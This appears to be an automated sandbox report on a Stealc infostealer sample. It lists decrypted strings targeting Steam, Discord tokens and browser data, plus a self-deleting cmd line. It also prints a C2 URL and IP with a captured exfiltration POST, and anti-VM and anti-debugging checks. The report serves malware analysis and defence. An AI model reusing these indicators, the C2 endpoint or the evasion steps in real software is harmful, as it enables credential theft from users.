                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \config\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ssfn*
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: config.vdf
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DialogConfig.vdf
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DialogConfigOverlay*.vdf
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: libraryfolders.vdf
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: loginusers.vdf
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Steam\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: browsers
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: done
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: soft
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Discord\tokens.txt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: /c timeout /t 5 & del /f /q "
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: " & del "C:\ProgramData\*.dll"" & exit
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: C:\Windows\system32\cmd.exe
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: https
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Content-Type: multipart/form-data; boundary=----
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: POST
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HTTP/1.1
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Content-Disposition: form-data; name="
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: hwid
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: build
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: token
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: file_name
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: file
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: message
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: screenshot.jpg
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,0_2_00E29030
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E172A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,0_2_00E172A0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1A2B0 CryptUnprotectData,LocalAlloc,LocalFree,0_2_00E1A2B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,0_2_00E1A210
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,0_2_00E1C920
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E240F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_00E240F0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_00E1E530
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E247C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_00E247C0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E1F7B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E11710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E11710
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_00E1DB80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E24B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E24B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E23B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_00E23B00
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_00E1BE40
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_00E1EE20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E1DF10

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49725 -> 185.215.113.206:80
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: http://185.215.113.206/6c4adf523b719729.php
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 45 46 36 42 37 39 33 33 45 32 33 39 32 34 36 39 36 33 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="hwid"CEEF6B7933E23924696330------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="build"tale------IEHCAKKJDBKKFHJJDHII--
                Source: Joe Sandbox ViewIP Address: 185.215.113.206 185.215.113.206
                Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E162D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,0_2_00E162D0
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficDNS traffic detected: DNS query: tse1.mm.bing.net
                Source: unknownHTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 45 46 36 42 37 39 33 33 45 32 33 39 32 34 36 39 36 33 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="hwid"CEEF6B7933E23924696330------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="build"tale------IEHCAKKJDBKKFHJJDHII--
                Source: file.exe, 00000000.00000002.2155893924.000000000097E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206
                Source: file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/
                Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
                Source: file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
                Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpF
                Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
                Source: file.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpc
                Source: file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/ws
                Source: file.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

                System Summary

                barindex
                PE file contains section with special chars
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: .rsrc
                Source: file.exeStatic PE information: section name: .idata
                Source: file.exeStatic PE information: section name:
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C0_2_0126316C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E500980_2_00E50098
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011A51DA0_2_011A51DA
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E6B1980_2_00E6B198
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E421380_2_00E42138
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0123D0CF0_2_0123D0CF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E542880_2_00E54288
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E7E2580_2_00E7E258
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011B42260_2_011B4226
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E8D39E0_2_00E8D39E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012682FF0_2_012682FF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E9B3080_2_00E9B308
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0123C5690_2_0123C569
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0127243E0_2_0127243E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E545A80_2_00E545A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E7D5A80_2_00E7D5A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E345730_2_00E34573
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E3E5440_2_00E3E544
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E996FD0_2_00E996FD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E566C80_2_00E566C8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0119E7960_2_0119E796
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E8A6480_2_00E8A648
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011766080_2_01176608
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126167B0_2_0126167B
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E867990_2_00E86799
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012486AF0_2_012486AF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E6D7200_2_00E6D720
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E7F8D60_2_00E7F8D6
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E6B8A80_2_00E6B8A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E698B80_2_00E698B8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E648680_2_00E64868
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012759B60_2_012759B6
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126B9C10_2_0126B9C1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012369DD0_2_012369DD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011F6B0B0_2_011F6B0B
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E78BD90_2_00E78BD9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E84BA80_2_00E84BA8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E80B880_2_00E80B88
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0125FA810_2_0125FA81
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126DD050_2_0126DD05
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E8AC280_2_00E8AC28
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E64DC80_2_00E64DC8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011DCC480_2_011DCC48
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E65DB90_2_00E65DB9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E6BD680_2_00E6BD68
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E41D780_2_00E41D78
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E7AD380_2_00E7AD38
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E81EE80_2_00E81EE8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0125DF750_2_0125DF75
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E58E780_2_00E58E78
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01273E2D0_2_01273E2D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01269E810_2_01269E81
                Source: C:\Users\user\Desktop\file.exeCode function: String function: 00E14610 appears 316 times
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: file.exeStatic PE information: Section: usisoqoi ZLIB complexity 0.9949866959291486
                Source: classification engineClassification label: mal100.troj.evad.winEXE@1/0@1/1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,0_2_00E29790
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E23970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,0_2_00E23970
                Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ZBR48792.htmJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: file.exeVirustotal: Detection: 43%
                Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: rstrtmgr.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
                Source: file.exeStatic file information: File size 2085888 > 1048576
                Source: file.exeStatic PE information: Raw size of usisoqoi is bigger than: 0x100000 < 0x192400
                Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                Detected unpacking (changes PE section rights)
                Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.e10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;usisoqoi:EW;igxiqctn:EW;.taggant:EW;
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00E29BB0
                Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                Source: file.exeStatic PE information: real checksum: 0x209bb8 should be: 0x20b8de
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: .rsrc
                Source: file.exeStatic PE information: section name: .idata
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: usisoqoi
                Source: file.exeStatic PE information: section name: igxiqctn
                Source: file.exeStatic PE information: section name: .taggant
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012CA12E push edx; mov dword ptr [esp], 57FF0BAAh0_2_012CA15F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012CA12E push 089A9F00h; mov dword ptr [esp], esi0_2_012CA1A0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012CA12E push edx; mov dword ptr [esp], 50F8B4CCh0_2_012CA1F9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E3A0F3 push eax; retf 0_2_00E3A119
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E3A0DC push eax; retf 0_2_00E3A0F1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ebx; mov dword ptr [esp], ecx0_2_012631AB
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edi; mov dword ptr [esp], edx0_2_012631D4
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ebx; mov dword ptr [esp], 77EFAB61h0_2_0126322F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edx; mov dword ptr [esp], edi0_2_012632A4
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edi; mov dword ptr [esp], edx0_2_01263314
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push esi; mov dword ptr [esp], 73BBB330h0_2_01263319
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ecx; mov dword ptr [esp], 7DEC5D57h0_2_012633A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ebx; mov dword ptr [esp], esi0_2_012633CD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push 41EAF6B5h; mov dword ptr [esp], edx0_2_01263401
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push 2509A44Ch; mov dword ptr [esp], edi0_2_012634A2
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ecx; mov dword ptr [esp], 00000000h0_2_012634AB
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edi; mov dword ptr [esp], ebx0_2_012634DD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ecx; mov dword ptr [esp], eax0_2_01263525
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push eax; mov dword ptr [esp], 00000001h0_2_01263560
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push 39C8302Dh; mov dword ptr [esp], edi0_2_0126356F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ebp; mov dword ptr [esp], 44B98EE6h0_2_01263575
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ebx; mov dword ptr [esp], ecx0_2_01263580
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ebp; mov dword ptr [esp], eax0_2_01263646
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ecx; mov dword ptr [esp], edi0_2_012636F4
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push eax; mov dword ptr [esp], ebp0_2_01263787
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edi; mov dword ptr [esp], ebx0_2_012637B2
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edi; mov dword ptr [esp], ecx0_2_0126383E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push edx; mov dword ptr [esp], esp0_2_012638D3
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push 415C53B3h; mov dword ptr [esp], ecx0_2_012638F7
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push 1ABFA674h; mov dword ptr [esp], edx0_2_01263956
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0126316C push ecx; mov dword ptr [esp], edx0_2_01263979
                Source: file.exeStatic PE information: section name: usisoqoi entropy: 7.953872207980885

                Boot Survival

                barindex
                Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00E29BB0

                Malware Analysis System Evasion

                barindex
                Found evasive API chain (may stop execution after checking locale)
                Source: C:\Users\user\Desktop\file.exeEvasive API call chain: GetUserDefaultLangID, ExitProcessgraph_0-37701
                Tries to detect sandboxes / dynamic malware analysis system (registry check)
                Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                Tries to detect virtualization through RDTSC time measurements
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 127A5AC second address: 127A5CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1DD480848Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1DD480848Fh 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 12798AB second address: 12798D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Ch 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F1DD489F5A8h 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1279A82 second address: 1279A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1279A88 second address: 1279A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1279D1A second address: 1279D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
